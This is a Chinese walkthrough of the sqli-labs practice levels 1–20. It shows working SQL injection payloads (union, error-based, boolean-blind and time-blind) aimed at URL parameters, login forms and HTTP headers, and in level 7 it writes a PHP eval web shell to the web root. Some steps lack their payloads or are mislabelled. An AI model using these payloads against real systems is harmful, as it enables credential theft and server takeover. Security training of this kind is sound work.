一.less=1
1. 确定攻击点 确定网站可以注入的参数 比如:?id= ?ID= ?a= ?sd=
2. 判断闭合方式 ' --+
3. 判断字段列数 order by
页面正常说明存在1列
页面正常说明存在2列
页面正常说明存在3列
页面不正常,说明只存在3列
4. 联合查询 查当前数据库名,数据库版本,数据库用户 上面已经查出3列,那么联合查询3列
页面显示的是id=1的数据,没有显示我们联合查询的数据,把人家前面查询的id的数据改成不存在的,比如-1
此时页面上出现了我们联合查询的回显点
联合查询了数据库名和用户
5. 联合查询 查出网站的数据库里面的所有表名
6.联合查询 查出users表里面的所有列
7.查询表中所有的数据
二.less=2
和第一关一样进行判断,当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入。
判断字段列数为3
接下来,用联合注入测试回显点。并找到数据库名称:security
三.less=3
当我们在输入?id=2'的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。
四.less=4
五.less=5
1.判断闭合方式
正常页面
异常页面
' --+ 闭合成功 页面正常
2.因为页面只有ture和flase两种情况,所以需要使用布尔盲注
判断数据库长度大于7页面正常 说明数据库长度大于7,在判断是否大于8,所以数据库长度等于8
3.判断数据库的第一个字符
用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于114 页面显示正常 说明数据库第一位字符ascii码大于114
判断数据库第一位字符的ascii码是否大于115 页面显示异常 说明不大于 大于114不大于115 说明第一位字符ascii码等于115,数据库第一位字符ascii码为115 's'。
判断数据库第二位字符
说明数据库第二位字符的ascii码长度大于100不大于101 那么就是等于101 'e'。
数据库第三位为99.等于‘c’,...................................................最终得出security
4.查security数据库中第一张表的第一位字符
5.判断users表中第一个字段的第一位字符
说明users表的第一个字段的第一位字符ascii码为105 'id'
6.判断username列的第一条数据的第一个字符
说明user表里面的username字段的第一条数据的第一个字符的ascii码为68
六.less=6
我们输入参数id=1 ,查看页面回显情况
可以看到和第五关一样并没有显示位,那么我们首先想到的注入方法就是报错注入,经过测试发现这一关的注入点是双引号(测试方法前面几关详细讲过,这里不在赘述),我们接下来测试当前数据库有多少字段,输入测试语句:
爆破当前数据库名
爆破当前数据库中的表名
爆破列名
爆破字段值
七.less=7
一句话木马注入
http://127.0.0.1/Less-7/?id=1')) union select 1,2,'<?php @eval($_POST[cmd]);?>' into outfile "D:\\phpstudy_pro\\WWW\\q.php"--+
显示木马已经注入
通过网址找到绝对路径
成功进入
八.less=8
经过测试我们发现该数据库中字段数为3,而我输入的语句是让数据库按照第四列的数据进行排序,但是数据库中并没有第四列,那么必定会报错”不存在第四列“,那么我们看一下实际的页面回显情况:
可以看到页面并没有将报错信息显示出来,我们再输入正确的语句进行测试:
可以看到页面回显正常,这也就是说:当我们输入的语句正确,页面正常回显;当我们输入的语句错误,页面并不会给我们显示报错信息。显然我们不能使用报错注入了。
布尔盲注法猜解当前数据库名长度
这里我采用二分法猜解,先猜其长度是否大于10,若页面回显正常,说明大于十,那就猜长度是不是大于15,直到猜到页面回显不正常,说明小于某值;如果页面回显不正常,说明字段长度小于10,那就猜是不是大于5,以此类推,最终就可以猜解到数据库名的长度了。
可以看到页面回显不正常,说明长度小于10,我们在测试5:
可以看到页面回显正常,说明字符段的长度介于5~10之间,这样我们就缩小了搜索的范围,之后我们一个一个猜就可以 ,最终我们猜解到数据库名字长度为8位。
布尔盲注法猜解当前数据库名
可以看到页面回显正常,那说明该字符位于字符 'm' 之后,最终经过我们查找可以确定第一个字符是 's' 。
之后查找第二个字符
这里一定要注意函数 left() 函数的用法,大于号后面一定要把之前猜解出来的第一个字符写上,如果不写是查不出来的,因为语句中 2 的意思是取数据库名字的前两位。猜解步骤和猜解第一个字符的方法一样,这里不赘述。猜解第3个就把2换成3,后面把已经猜到的两位字符写上就可以。
最终猜出来数据库名为:'security'。
布尔盲注法猜解表名长度
最终猜解到第一个表名的长度为6,其余表名长度这里不再猜解。
布尔盲注法猜解表名
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>97 --+
这里我使用了 ascii 函数,因为该函数只能返回字符串的第一个字符,所以我里面套用了字符串截取函数 substr 每次截取一个字符。当然也可以用 left 函数进行猜解。ascii() 函数猜解原理和 left 的猜解原理一样,只不过转换成了ASCII码进行猜解。同样是根据页面是否正常回显来进行判断,这里我不在赘述判断方法。最终猜解到第一个字符为 'e' 。
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))>97 --+
可以看到我们只需要修改 substr 中的参数就可以一个一个去猜解每一个字符,这里第二个字符经过猜解为 'm' 。
后续猜一猜方法一样就不赘述了,最终结果为 'emails' 。
布尔盲注法猜解列名长度
?id=1' and length((select column_name from information_schema.columns where table_name='emails' limit 0,1))>10 --+
具体猜解方法看上文,这里不在赘述。其实猜解的大体框架是不变的,就是那几个函数的应用,只不过跟随我们猜解的对象不同我们把函数里面嵌套的语句换一下就可以了。
最终猜到第一列的列名长度为2
布尔盲注法猜解列名
?id=1' and left((select column_name from information_schema.columns where table_name='emails' limit 0,1),1)>'m' --+
猜解第一个字符我使用的方法是 left() 函数的猜解方法
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),2,1))>97 --+
查询第二个字符的时候我用的是 ascii() 函数进行猜解,具体猜解步骤不再赘述。
最终查询到该列名为 'id' 。
布尔盲注法猜解字段值长度
?id=1' and length((select id from emails limit 0,1))>10 --+
经过猜解,第一个字段值长度为1 。
?id=1' ascii((select id from emails limit 0,1))>0 --+
最终猜解到第一个字段值为 '1' 。
九.less=9
if(expr1,expr2,expr3)含义是如果expr1是True,则返回expr2,否则返回expr3。也可以理解为如果expr为True,则执行expr2,否则执行expr3。
?id=1' and sleep(2) --+
这段代码的含义是让网页停止两秒后响应,如果单引号是注入点,那么该页面就会停止两秒后再响应,如果双引号不是注入点,那么网页就会正常响应。
判断注入方法
?id=1' order by 4 --+
经过判断该数据库的字段数为3,我这里根据第四列排序,肯定是错的。
时间盲注猜解当前数据库名长度
?id=1' and if(length(database())>10,sleep(2),0) --+
如果当前数据库名长度大于10,则页面延迟 2s 后响应,否则立即响应,之后我们就可以通过查看页面响应时间来判断长度了。这里不在赘述。
最终猜解到数据库名长度:8。
猜解当前数据库名、
?id=1' and if((left(database(),1)>'m'),sleep(2),0) --+
这段代码含义:如果当前数据库名字的第一个字符的ASCII值大于字符 'm' 的ASCII值,则页面延迟 2s 后响应,否则立即响应。当然也可以使用 ascii() 函数进行猜解。
?id=1' and if((ascii(substr(database(),2,1))>97),sleep(2),0) --+
猜解第一个表名长度
?id=1' and if((length((select table_name from information_schema.tables where table_schema='security' limit 0,1))>10),sleep(2),0) --+
这段代码含义上面已经解释过了这里不在赘述,最终猜解到长度为6。
猜解第一个表名
?id=1' and if((length((select table_name from information_schema.tables where table_schema='security' limit 0,1))>10),sleep(2),0) --+
最终猜解得出表名为 'emails'。
猜解表中第一个列名长度
?id=1' and if((length(select column_name from information_schema.columns where table_name='emails' limit 0,1)>10),sleep(2),0) --+
经过测试长度为2。
猜解第一个列名
?id=1' and if((left((select column_name from information_schema.columns where table_name='emails' limit 0,1),1)>'m'),sleep(2),0) --+
输入猜解第一个列名的第二个字符的语句:
?id=1' and if((ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),2,1))>97),sleep(2),0) --+
这里我使用的是 ascii() 函数进行猜解。
最终猜解出来的列名为 'id' 。
十.less=10
注入点为双引号的时间盲注
?id=1" and sleep(2) --+
这段代码的含义是让网页停止两秒后响应,如果单引号是注入点,那么该页面就会停止两秒后再响应,如果双引号不是注入点,那么网页就会正常响应。
时间盲注猜解当前数据库名长度
?id=1" and if(length(database())>10,sleep(2),0) --+
这段代码的含义是:如果当前数据库名长度大于10,则页面延迟 2s 后响应,否则立即响应,之后我们就可以通过查看页面响应时间来判断长度了。这里不在赘述。
最终猜解到数据库名长度:8。
猜解当前数据库名
?id=1" and if((left(database(),1)>'m'),sleep(2),0) --+
这段代码含义:如果当前数据库名字的第一个字符的ASCII值大于字符 'm' 的ASCII值,则页面延迟 2s 后响应,否则立即响应。当然也可以使用 ascii() 函数进行猜解。
使用 ascii() 函数猜解当前数据库名的第二个字符:
?id=1"and if((ascii(substr(database(),2,1))>97),sleep(2),0) --+
猜解第一个表名长度
?id=1" and if((length((select table_name from information_schema.tables where table_schema='security' limit 0,1))>10),sleep(2),0) --+
这段代码含义上面已经解释过了这里不在赘述,最终猜解到长度为6。
猜解第一个表名
?id=1" and if((left((select table_name from information_schema.tables where table_schema='security' limit 0,1),1)>'m'),sleep(2),0) --+
最终猜解得出表名为 'emails'。
猜解表中第一个列名长度
?id=1" and if((length(select column_name from information_schema.columns where table_name='emails' limit 0,1)>10),sleep(2),0) --+
经过测试长度为2。
猜解第一个列名
?id=1"and if((left((select column_name from information_schema.columns where table_name='emails' limit 0,1),1)>'m'),sleep(2),0) --+
第二个字符的语句:
?id=1" and if((ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),2,1))>97),sleep(2),0) --+
最终猜解出来的列名为 'id' 。
猜解字段值长度
?id=1" and if((length(select id from emails limit 0,1)>10),sleep(2),0) --+
最终猜解可得长度为1。
猜解字段值
?id=1" and if((left((select id from emails limit 0,1),1)>0),sleep(2),0) --+
最终猜解到字段值为 '1' 。
十一.less=11
1.在输入框中输入单引号,我们可以看到产生了报错信息显示,说明这里我们自然可以使用报错注入以及联合查询。
2.猜字段
首先我们进行测试users表有几列,同样的使用order by排序进行查询,即:
可以看到显示第三列不存在,所以我们接着尝试将3变为2:
可以看到这里并没有显示,说明我们猜的字段是正确的,并没有输出错误信息,我们自然会想到是username以及password。
3.直接查数据
我们可以看到直接输出了数据,不难(这里password肯定是随便输入的,毕竟那个SQL语句前面username我们在之后已经进行了注释,所以不影响)。这里我们自然也可以在password中执行,丝毫不影响:
4.报错注入
上面我们也说了,看见输出报错信息我们自然可以想到报错注入,下面我们构建payload(比如这里我们首先查数据库名):
数据库的表名:
看users可疑查users的列名:
接着看见username以及password继续查数据:
我们可以看到又是字符输出限制,所以我们搞个limit即可:
12.less=12
我们输入语句测试数据库中有多少字段。
可以看到显示第三列不存在,所以我们接着尝试将3变为2:
可以看到页面没有报错,列数为2。接下来去测试显示位。
可以看到不仅成功进入了登录成功页面而且给我们回显出来了显示位。
接下来可以使用联合注入,报错注入,盲注等手段进行数据爆破。这里我采用联合注入
1.爆破数据库名
2.表名。
3列名
4.字段名
13.less=13
首先测试这一关的注入点是 ') ,之后测试该数据库有多少列。
根据报错发现列数少于三,再去测试二发现该数据库中有两列。之后判断显示位。
可以发现虽然我们成功登录了用户,但是没有显示位。没有显示位的情况下要第一时间想到使用报错注入,如果没有报错回显的话再考虑盲注。
1.爆破数据库名
2.爆破表名
3.第一列的列名
4.爆破字段名
14.less=4
首先测试这一关的注入点是 ” ,之后测试该数据库有多少列。
根据报错发现列数少于三,再去测试二发现该数据库中有两列。之后判断显示位
可以发现虽然我们成功登录了用户,但是没有显示位。没有显示位的情况下要第一时间想到使用报错注入,如果没有报错回显的话再考虑盲注。
1.数据库名
2.爆破表名
3,爆破列名
4.爆破字段值
15.less=15
经过测试这一关的注入点为 ' ,然后测试列数为2。接下来测试一下显示位。
可以看到虽然成功登录了,但是没有显示位,接下来我们首先尝试报错注入。
可以看到并没有回显报错信息,说明没有报错回显。那就考虑一下盲注,这里观察到页面是有正确登录之后的显示和登录失败的显示的。所以这里考虑使用布尔盲注,如果是不管怎么样都只显示一种结果那就考虑时间盲注。
1.猜解长度
可以看到页面还是回显错误,那说明数据库名字长度小于8,我们测试一下7。
可以看到页面回显正常了,说明数据库名字长度大于7,那么数据库名字长度就是8。
2.猜解具体名字
可以看到页面是正常登录的页面,说明数据库名字的第一个字母的ASCII码值是大于字母 'a' 的ASCII码值的。
页面回显错误,说明数据库名字的第一个字母的ASCII码值小于字母 'z' 的ASCII码值。
2.猜解表长度
页面回显错误,说明第一张表名字的长度小于6。
页面回显正常,说明 'emails' 表的第一列的名字长度大于1。所以列名长度为2。
3.猜解列名
可以看到出现了正常登录的界面,说明列名第一个字母的ASCII码值大于字母 'a' 的ASCII码值
说明该列名名字的第一个字母的ASCII码值小于127,使用语句测试出来该字母对应的ASCII码值
4.猜解字段值
可以推断第一个字段值是1。
十六.less=16
1") union select 1,2 #
可以看到虽然成功登录了,但是没有显示位,接下来我们首先尝试报错注入。
1") and extractvalue(1,concat(0x7e,database())) #
可以看到并没有回显报错信息,说明没有报错回显。那就考虑一下盲注,这里观察到页面是有正确登录之后的显示和登录失败的显示的。所以这里考虑使用布尔盲注,如果是不管怎么样都只显示一种结果那就考虑时间盲注。
(1)猜解长度
1") or length(database())>8 #
可以看到页面还是回显错误,那说明数据库名字长度小于8,我们测试一下7。
1") or length(database())>7 #
可以看到页面回显正常了,说明数据库名字长度大于7,那么数据库名字长度就是8。其余判断长度的方法都一样的。这里不在赘述。
(2)猜测具体名字
1") or left(database(),1)>'a' #
可以看到页面是正常登录的页面,说明数据库名字的第一个字母的ASCII码值是大于字母 'a' 的ASCII码值的。
1' or left(database(),1)>'z' #
页面回显错误,说明数据库名字的第一个字母的ASCII码值小于字母 'z' 的ASCII码值。通过这样测试最终就可以的猜解到字母是什么。这里不在赘述。
(3)猜解表长度
1") or length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 #
页面回显错误,说明第一张表名字的长度小于6
1' or length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5 #
(4)猜解表名
1") or left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)>'f' #
(5)猜解列名长度
1") or length((select column_name from information_schema.columns where table_name='emails' limit 0,1))>3 #
1") or length((select column_name from information_schema.columns where table_name='emails' limit 0,1))>1 #
(6)猜解列名
1") or left((select column_name from information_schema.columns where table_name='emails' limit 0,1),1)>'a' #
可以看到出现了正常登录的界面,说明列名第一个字母的ASCII码值大于字母 'a' 的ASCII码值。
1") or ascii((select column_name from information_schema.columns where table_name='emails' limit 0,1))>127 #
说明该列名名字的第一个字母的ASCII码值小于127,使用语句测试出来该字母对应的ASCII码值就可以了,这里不在赘述。
十七 less=17
(1)可以看到这一关让你进行“密码重置”,我们这里首先随便输入一个账户和密码进行测试。我这里用户名输入1,密码输入1。观察页面回显:
用单引号分别测试账号跟密码均无报错
因为显示出了一个用户名“DhaKKan”,所以我们用它作为用户名进行尝试,看看它是不是正确的用户名。我们将其密码修改为1,观察页面回显:
可以看到出现了成功修改后的页面,说明用户名是没问题的,也证实了必须有正确的用户名才能进行密码修改。
接下来就是再次尝试注入点在哪儿,也就是找漏洞,我们首先查看用户名这里有没有注入点,输入单引号进行测试,观察页面回显:
发现还是不行,那就测试修改密码的地方看看行不行,输入单引号测试:
(2)接下来我们首先看一下该数据库有多少列,在修改密码的地方输入语句:
1' order by 3 #
看到页面报错,说明列数小于3,我们继续测试,输入语句:
1' order by 1 #
可以看到也是报错,说明这一关就不能使用联合注入了,因为联合注入必须要用 order by 语句去测试有多少列,然后根据列数去写语句,这里显然不能使用联合注入。
不能使用联合注入的时候首先考虑报错注入,我们尝试一下报错注入。
(3)爆破数据库名
1' and extractvalue(1,concat(0x7e,database())) #
(4)爆破表名
1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),3) #
(5)爆破列名
1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1)),3) #
(6)爆破字段值
1' and extractvalue(1,concat(0x7e,(select id from emails limit 0,1))) #
十八.less=18
(1)页面输入dhakkan 1 登录,回到Burp Suite 抓包,并且把抓到的数据发送到repeater重放器上
(2)在User-agent后面进行注入测试,使用单引号成功报错确定其SQL注入
(3)判断闭合方式
1' and '
(4)报错注入获取数据库名称
1'and updatexml(1,concat(1,database()),1)and'
(5)查表名
1'and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)and'
(6)查列名
1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) and'
(7)查看表中所有信息
1' and updatexml(1,concat(1,(select group_concat(id,username,password) from users)),1)and'
十九.less=19
(1)输入dhakkan,1进行登录,并用burpsuit进行抓包放到重放器里
(2)判断sql注入类型,在referer使用单引号判断成功
(3)判断闭合方式'and'
(4)使用报错注入获取数据库名称
'and updatexml(1,concat(1,database()),1)and'
(5)查表名
1'and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)and'
(6)查列名
1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) and'
(7)查user表里所有信息
1' and updatexml(1,concat(1,(select group_concat(id,username,password) from users)),1)and'
二十.less=20
(1)输入dhakkan,1进行登录,并用burpsuit进行抓包放到重放器里
(2)在Cookie后面进行注入测试,使用单引号成功报错确定其SQL注入
(3)判断闭合方式'--+
(4)采⽤报错注⼊函数获取其当前数据库名称
'and updatexml(1,concat(1,database()),1)--+
(5)查表名
'and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+
(6)查列名
' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) --+
(7)查看user表中所有信息
' and updatexml(1,concat(1,(select group_concat(id,username,password) from users)),1)--+